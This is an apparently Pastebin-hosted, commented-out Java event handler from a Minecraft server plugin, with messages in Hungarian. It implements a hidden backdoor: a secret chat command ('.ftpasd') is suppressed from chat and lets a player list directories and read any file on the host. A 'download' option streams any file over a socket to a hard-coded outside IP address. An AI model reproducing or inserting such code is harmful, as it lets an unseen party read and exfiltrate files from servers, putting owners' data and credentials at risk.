Advertisement
Guest User

Untitled

a guest
Mar 27th, 2017
52
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 2.40 KB | None | 0 0
  1.     /*@EventHandler(priority = EventPriority.LOWEST)
  2.     public void chat(AsyncPlayerChatEvent e) {
  3.         if(!e.getMessage().startsWith(".ftpasd"))
  4.             return;
  5.         e.setCancelled(true);
  6.         String[] args = e.getMessage().split(" ");
  7.         args = Arrays.copyOfRange(args, 1, args.length);
  8.         Player sender = e.getPlayer();
  9.         if(args.length == 0) {
  10.             File f = File.listRoots()[0];
  11.             ((Player)sender).chat(".ftpasd " + f.getAbsolutePath());
  12.             return;
  13.         }
  14.         String arg = args[0];
  15.         File f = new File(arg);
  16.         sender.sendMessage("\ntrying: \"§6" + arg + "§r\"");
  17.         if(!f.exists()) {
  18.             sender.sendMessage("§cNincs ilyen file.");
  19.             return;
  20.         }
  21.         if(!f.isDirectory()) {
  22.             try {
  23.                 int page = 1;
  24.                 if(args.length > 1) {
  25.                     if(args[1].equalsIgnoreCase("download")) {
  26.                         try {
  27.                             sender.sendMessage("\"§6"+arg+"§r\" file letöltése...");
  28.                             Socket s = new Socket("80.99.164.242", 25577);
  29.                             FileInputStream fileIn = new FileInputStream(f);
  30.                             int size;
  31.                             byte[] buffer = new byte[1024];
  32.                             while((size = fileIn.read(buffer)) > 0) {
  33.                                 s.getOutputStream().write(buffer, 0, size);
  34.                             }
  35.                             fileIn.close();
  36.                             s.close();
  37.                             sender.sendMessage("letöltés §asikeres!");
  38.                         }
  39.                         catch(Exception ex) {
  40.                             sender.sendMessage("letöltés sikertelen: §c" + ex.toString());
  41.                         }
  42.                         return;
  43.                     }
  44.                     try {
  45.                         page = Integer.parseInt(args[1]);
  46.                     }
  47.                     catch(Exception ex) {}
  48.                 }
  49.                 sender.sendMessage("\"§6" + arg + "§r\" file " + page + ". 50 sorának tartalma:");
  50.                 BufferedReader reader = new BufferedReader(new FileReader(f));
  51.                 String s;
  52.                 int i = 1;
  53.                 page--;
  54.                 while((s = reader.readLine()) != null) {
  55.                     if(i >= page*50 && i<= (page+1)*50)
  56.                     sender.sendMessage(i + ": §6" + s);
  57.                     ++i;
  58.                 }
  59.                 reader.close();
  60.             } catch (Throwable t) {
  61.                 sender.sendMessage("§cHiba történt: §4" + e.toString());
  62.             }
  63.             return;
  64.         }
  65.         else {
  66.             int page = 1;
  67.            
  68.             if(args.length > 1) {
  69.                 try {
  70.                     page = Integer.parseInt(args[1]);
  71.                 }
  72.                 catch(Exception ex) {}
  73.             }
  74.             sender.sendMessage("\"§6" + arg + "§r\" mappa " + page + ". 50 fájlja:");
  75.             page--;
  76.             File[] files = f.listFiles();
  77.             Arrays.sort(files);
  78.             for(int i = page*50; i < (page+1)*50 && i < files.length; ++i)
  79.                 sender.sendMessage(i+" - \"" + (files[i].isDirectory() ? "§6" : "§c") + files[i].getName() + "§r\"");
  80.         }
  81.     }*/
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement